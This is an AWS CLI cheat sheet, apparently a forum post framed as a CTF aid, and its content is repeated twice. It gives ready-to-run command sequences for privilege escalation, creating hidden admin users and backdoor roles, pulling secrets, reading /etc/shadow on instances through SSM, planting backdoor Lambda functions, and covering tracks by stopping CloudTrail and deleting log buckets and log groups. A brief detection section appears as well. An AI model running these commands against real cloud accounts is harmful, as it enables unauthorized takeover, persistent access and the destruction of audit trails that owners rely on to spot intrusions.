AWS CTF Cheat Sheet – Red Team & Blue Team – Beginner to Military-Level Operations
Cheat Sheet By Taylor Christian Newsome
AWS Enumeration – Basic
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-policies --scope Local
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-instance-profiles
aws s3 ls
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws cloudformation describe-stacks
aws cloudwatch describe-alarms
aws cloudtrail describe-trails
aws sts get-caller-identity
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_ID
aws ssm describe-instance-information
AWS Enumeration – Advanced
aws iam get-account-authorization-details
aws s3api list-buckets --query "Buckets[].Name"
aws s3api get-bucket-policy-status --bucket BUCKET_NAME
aws organizations list-accounts
aws guardduty list-findings
aws securityhub get-findings
aws cloudtrail lookup-events --max-results 50
aws logs describe-log-groups
aws logs describe-log-streams --log-group-name LOG_GROUP
aws ecs list-clusters
aws ecs describe-clusters --clusters CLUSTER_NAME
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME
aws apigateway get-rest-apis
aws apigateway get-method --rest-api-id API_ID --resource-id RESOURCE_ID --http-method GET
aws rds describe-db-instances
AWS Privilege Escalation – Basic
aws iam create-user --user-name newadmin
aws iam create-access-key --user-name newadmin
aws iam attach-user-policy --user-name newadmin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-login-profile --user-name newadmin --password PASSWORD --password-reset-required
AWS Privilege Escalation – Advanced
aws iam create-policy --policy-name BackdoorPolicy --policy-document file://malicious.json
aws iam create-role --role-name BackdoorRole --assume-role-policy-document file://assume.json
aws iam attach-role-policy --role-name BackdoorRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/BackdoorRole --role-session-name MilitarySession
aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=instanceIds,Values=INSTANCE_ID" --parameters "commands=id;whoami"
AWS Exploitation – Basic
aws s3 cp s3://BUCKET_NAME/file.txt .
aws s3 sync s3://BUCKET_NAME/ .
aws lambda invoke --function-name FUNCTION_NAME output.txt
aws ec2-instance-connect send-ssh-public-key --instance-id INSTANCE_ID --availability-zone ZONE --instance-os-user ec2-user --ssh-public-key file://mykey.pub
AWS Exploitation – Military-Level
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/USER_NAME --action-names "*"
aws secretsmanager get-secret-value --secret-id SECRET_ID
aws ssm start-session --target INSTANCE_ID
aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=instanceIds,Values=INSTANCE_ID" --parameters "commands=cat /etc/shadow"
aws cloudformation execute-change-set --change-set-name BackdoorChangeSet
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
aws lambda update-function-code --function-name FUNCTION_NAME --zip-file fileb://payload.zip
aws dynamodb scan --table-name TABLE_NAME
aws apigateway test-invoke-method --rest-api-id API_ID --resource-id RESOURCE_ID --http-method POST
AWS Persistence – Basic
aws iam create-user --user-name hidden_user
aws iam create-access-key --user-name hidden_user
aws iam attach-user-policy --user-name hidden_user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-login-profile --user-name hidden_user --password PASSWORD --password-reset-required
AWS Persistence – Advanced
aws iam create-role --role-name HiddenAdminRole --assume-role-policy-document file://assume.json
aws iam attach-role-policy --role-name HiddenAdminRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws ssm put-parameter --name "HiddenCredential" --value "SuperSecretAccessKey" --type SecureString
aws lambda create-function --function-name PersistentFunction --runtime python3.8 --role arn:aws:iam::ACCOUNT_ID:role/BackdoorRole --handler lambda_function.lambda_handler --zip-file fileb://backdoor.zip
AWS Lateral Movement
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME --role-session-name LateralMoveSession
aws ec2 describe-instances --query 'Reservations[].Instances[].InstanceId'
aws ec2 describe-security-groups
aws lambda list-functions --query 'Functions[*].FunctionName'
aws rds describe-db-instances
aws dynamodb list-tables
aws dynamodb scan --table-name TABLE_NAME
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME
AWS Blue Team Detection and Response
aws cloudtrail lookup-events --max-results 100
aws guardduty list-findings --query 'Findings[].[Severity,Title]'
aws securityhub get-findings --query 'Findings[].[Severity,Title]'
aws cloudwatch describe-alarms --query 'MetricAlarms[].[AlarmName,StateValue]'
aws s3api list-buckets --query "Buckets[].Name"
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws sts get-caller-identity
aws lambda list-functions --query 'Functions[].FunctionName'
aws iam list-access-keys --user-name ADMIN_USER
aws cloudtrail describe-trails
AWS Covering Tracks – Basic
aws s3 rm s3://aws-cloudtrail-logs-ACCOUNT_ID-REGION/ --recursive
aws cloudtrail stop-logging --name TRAIL_NAME
aws iam delete-access-key --access-key-id KEY_ID
AWS Covering Tracks – Advanced
aws logs delete-log-group --log-group-name LOG_GROUP
aws logs delete-log-stream --log-group-name LOG_GROUP --log-stream-name LOG_STREAM
aws ec2 delete-security-group --group-id SG_ID
aws ec2 delete-key-pair --key-name BACKDOOR_KEY
aws s3api delete-bucket --bucket BUCKET_NAME
aws lambda delete-function --function-name PersistentFunction
aws cloudtrail delete-trail --name CompromisedTrail
aws organizations leave-organization
Cheat Sheet By Taylor Christian Newsome
AWS Enumeration – Basic
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-policies --scope Local
aws iam list-attached-user-policies --user-name USERNAME
aws iam list-instance-profiles
aws s3 ls
aws s3api get-bucket-acl --bucket BUCKET_NAME
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws ec2 describe-instances
aws ec2 describe-security-groups
aws ec2 describe-key-pairs
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws cloudformation describe-stacks
aws cloudwatch describe-alarms
aws cloudtrail describe-trails
aws sts get-caller-identity
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id SECRET_ID
aws ssm describe-instance-information
AWS Enumeration – Advanced
aws iam get-account-authorization-details
aws s3api list-buckets --query "Buckets[].Name"
aws s3api get-bucket-policy-status --bucket BUCKET_NAME
aws organizations list-accounts
aws guardduty list-findings
aws securityhub get-findings
aws cloudtrail lookup-events --max-results 50
aws logs describe-log-groups
aws logs describe-log-streams --log-group-name LOG_GROUP
aws ecs list-clusters
aws ecs describe-clusters --clusters CLUSTER_NAME
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME
aws apigateway get-rest-apis
aws apigateway get-method --rest-api-id API_ID --resource-id RESOURCE_ID --http-method GET
aws rds describe-db-instances
AWS Privilege Escalation – Basic
aws iam create-user --user-name newadmin
aws iam create-access-key --user-name newadmin
aws iam attach-user-policy --user-name newadmin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-login-profile --user-name newadmin --password PASSWORD --password-reset-required
AWS Privilege Escalation – Advanced
aws iam create-policy --policy-name BackdoorPolicy --policy-document file://malicious.json
aws iam create-role --role-name BackdoorRole --assume-role-policy-document file://assume.json
aws iam attach-role-policy --role-name BackdoorRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/BackdoorRole --role-session-name MilitarySession
aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=instanceIds,Values=INSTANCE_ID" --parameters "commands=id;whoami"
AWS Exploitation – Basic
aws s3 cp s3://BUCKET_NAME/file.txt .
aws s3 sync s3://BUCKET_NAME/ .
aws lambda invoke --function-name FUNCTION_NAME output.txt
aws ec2-instance-connect send-ssh-public-key --instance-id INSTANCE_ID --availability-zone ZONE --instance-os-user ec2-user --ssh-public-key file://mykey.pub
AWS Exploitation – Military-Level
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/USER_NAME --action-names "*"
aws secretsmanager get-secret-value --secret-id SECRET_ID
aws ssm start-session --target INSTANCE_ID
aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=instanceIds,Values=INSTANCE_ID" --parameters "commands=cat /etc/shadow"
aws cloudformation execute-change-set --change-set-name BackdoorChangeSet
aws codebuild list-projects
aws codebuild batch-get-projects --names PROJECT_NAME
aws lambda update-function-code --function-name FUNCTION_NAME --zip-file fileb://payload.zip
aws dynamodb scan --table-name TABLE_NAME
aws apigateway test-invoke-method --rest-api-id API_ID --resource-id RESOURCE_ID --http-method POST
AWS Persistence – Basic
aws iam create-user --user-name hidden_user
aws iam create-access-key --user-name hidden_user
aws iam attach-user-policy --user-name hidden_user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam update-login-profile --user-name hidden_user --password PASSWORD --password-reset-required
AWS Persistence – Advanced
aws iam create-role --role-name HiddenAdminRole --assume-role-policy-document file://assume.json
aws iam attach-role-policy --role-name HiddenAdminRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws ssm put-parameter --name "HiddenCredential" --value "SuperSecretAccessKey" --type SecureString
aws lambda create-function --function-name PersistentFunction --runtime python3.8 --role arn:aws:iam::ACCOUNT_ID:role/BackdoorRole --handler lambda_function.lambda_handler --zip-file fileb://backdoor.zip
AWS Lateral Movement
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME --role-session-name LateralMoveSession
aws ec2 describe-instances --query 'Reservations[].Instances[].InstanceId'
aws ec2 describe-security-groups
aws lambda list-functions --query 'Functions[*].FunctionName'
aws rds describe-db-instances
aws dynamodb list-tables
aws dynamodb scan --table-name TABLE_NAME
aws eks list-clusters
aws eks describe-cluster --name CLUSTER_NAME
AWS Blue Team Detection and Response
aws cloudtrail lookup-events --max-results 100
aws guardduty list-findings --query 'Findings[].[Severity,Title]'
aws securityhub get-findings --query 'Findings[].[Severity,Title]'
aws cloudwatch describe-alarms --query 'MetricAlarms[].[AlarmName,StateValue]'
aws s3api list-buckets --query "Buckets[].Name"
aws s3api get-bucket-policy --bucket BUCKET_NAME
aws sts get-caller-identity
aws lambda list-functions --query 'Functions[].FunctionName'
aws iam list-access-keys --user-name ADMIN_USER
aws cloudtrail describe-trails
AWS Covering Tracks – Basic
aws s3 rm s3://aws-cloudtrail-logs-ACCOUNT_ID-REGION/ --recursive
aws cloudtrail stop-logging --name TRAIL_NAME
aws iam delete-access-key --access-key-id KEY_ID
AWS Covering Tracks – Advanced
aws logs delete-log-group --log-group-name LOG_GROUP
aws logs delete-log-stream --log-group-name LOG_GROUP --log-stream-name LOG_STREAM
aws ec2 delete-security-group --group-id SG_ID
aws ec2 delete-key-pair --key-name BACKDOOR_KEY
aws s3api delete-bucket --bucket BUCKET_NAME
aws lambda delete-function --function-name PersistentFunction
aws cloudtrail delete-trail --name CompromisedTrail
aws organizations leave-organization
Hackerone.com/DBMS
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod




![[Image: 3.gif]](https://i.ibb.co/zH0GQ122/3.gif)